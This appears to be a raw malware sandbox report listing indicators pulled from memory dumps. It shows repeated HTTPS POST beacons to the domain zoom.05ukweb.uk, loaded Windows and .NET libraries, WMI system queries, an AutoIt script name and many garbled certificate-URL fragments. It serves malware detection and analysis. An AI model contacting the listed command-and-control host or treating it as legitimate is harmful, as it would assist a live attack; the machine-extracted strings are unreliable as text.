Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp")4a:T96e,Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=s Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4504716 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4504716 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4516911 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4522887 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4529049 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4535034 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4541237 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4547230 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4553365 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4559411 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4565492 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4571526 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4577593 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4583623 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4589689 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4595719 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4601787 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4607832 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4613968 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4620109 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4626244 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4632377 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4638508 Found HTTPS POST request to https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=46445804b:Tf97,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006036-00000C2B-2952417424] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006036-00000C2B-2952764238] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006036-00000C2B-2952883536] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006036-00000C2B-2952975967] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00006036-00000C2B-2953113759] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006036-00000C2B-2953170186] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006036-00000C2B-2953223037] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006036-00000C2B-2953413344] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00006036-00000C2B-2953483075] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00006036-00000C2B-2953534790] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006036-00000C2B-2953606298] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006036-00000C2B-2953728547] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006036-00000C2B-2953817319] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006036-00000C2B-2954103089] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006036-00000C2B-2954151433] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006036-00000C2B-2954349367] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006036-00000C2B-2954441466] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006036-00000C2B-2954528857] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006036-00000C2B-2954692400] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006036-00000C2B-2954743127] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006036-00000C2B-2954813642] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006036-00000C2B-2954924077] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00006036-00000C2B-2955142114] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00006036-00000C2B-2955305704] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00006036-00000C2B-2955373590]4c:T9c3d,Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp") Found URL "https://zoom.05ukweb.uk/ftws\system32\wbem\logs\onditionvariableogs\ystem32\iwmicallsec" - Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4638508" - Source: "00000000-00003076.00000001.257334.76280000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4632377" - Source: "00000000-00003076.00000001.257334.76280000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ftws\system32\wbem\logs\onditionvariableogs\ystem32\iwmicallsec" - Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4504716clsid\" - Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=7422986625ukweb.uk/ft" - Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/zoom.05ukweb.uki" - Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l(g7vos" - Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4504716user-agentmozilla/4.0" - Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4638508microsoft" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4607832https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4626244sha1microsoft" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "https://zokweb.ukuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowshine\soe\classes\clsid\" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4638508ions:\vxstel.au3" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eriswbemdatadesktop-fvvf82aroot\cimv2win32_processwin32_processsystemsystemsystemwin32_computersystemdesktop-fvvf82awin32_operatingsystem10.0.16299microsoft" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4638508" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4729689" - Source: "00000000-00003076.00000002.259256.76280000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4802324" - Source: "00000000-00003076.00000002.259256.76280000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4790210" - Source: "00000000-00003076.00000002.259256.76280000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ftws\system32\wbem\logs\onditionvariableogs\ystem32\iwmicallsec" - Source: "00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4504716clsid\" - Source: "00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=7422986625ukweb.uk/ft" - Source: "00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lipj7vpj7vo0k7v0k7v(u7v(u7vhu7v" - Source: "00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4504716user-agentmozilla/4.0" - Source: "00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4802324microsoft" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4686898sha1microsoft" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4790210microsoft" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eriswbemdatadesktop-fvvf82aroot\cimv2win32_processwin32_processcsrss.execsrss.execsrss.exewin32_computersystemdesktop-fvvf82awin32_operatingsystem10.0.16299microsoft" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4802324mozilla/4.0" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4802324" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v258&session=742298662&isbn=4802324ions:\vxstel.au3" - Source: "00000000-00003076.00000002.259256.7A01D000.00000004.mdmp") Found URL "https://zo00000346-0000-0000-c000-000000000046" - Source: "00000000-00003076.00000002.259256.7A160000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/zoom.05ukweb.uk\registry\machine\software\classes\wow6432node\clsid\" - Source: "00000000-00003076.00000002.259256.7A160000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ftbemclassobject" - Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/zoom.05ukweb.ukripts\;c:\users\hapubws\appdata\local\programs\python\python311\;c:\users\hapubws\appdata\local\microsoft\windowsapps;c:\program" - Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ftbemclassobject" - Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4504716clsid\" - Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=7983838715ukweb.uk/ft" - Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lmicros" - Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4504716/c:\windowssystem32eo\f/c:\windowssystem32eo\f@6og^root" - Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4589689" - Source: "00000000-00005276.00000001.257334.E4F20000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4601787" - Source: "00000000-00005276.00000001.257334.E4F20000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4601787ions:\vxstel.au3" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4577593microsoft" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4589689sha256microsoft" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "https://zoom.05ukweb.uk/ft?topic=v255&session=798383871&isbn=4601787sha1microsoft" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found URL 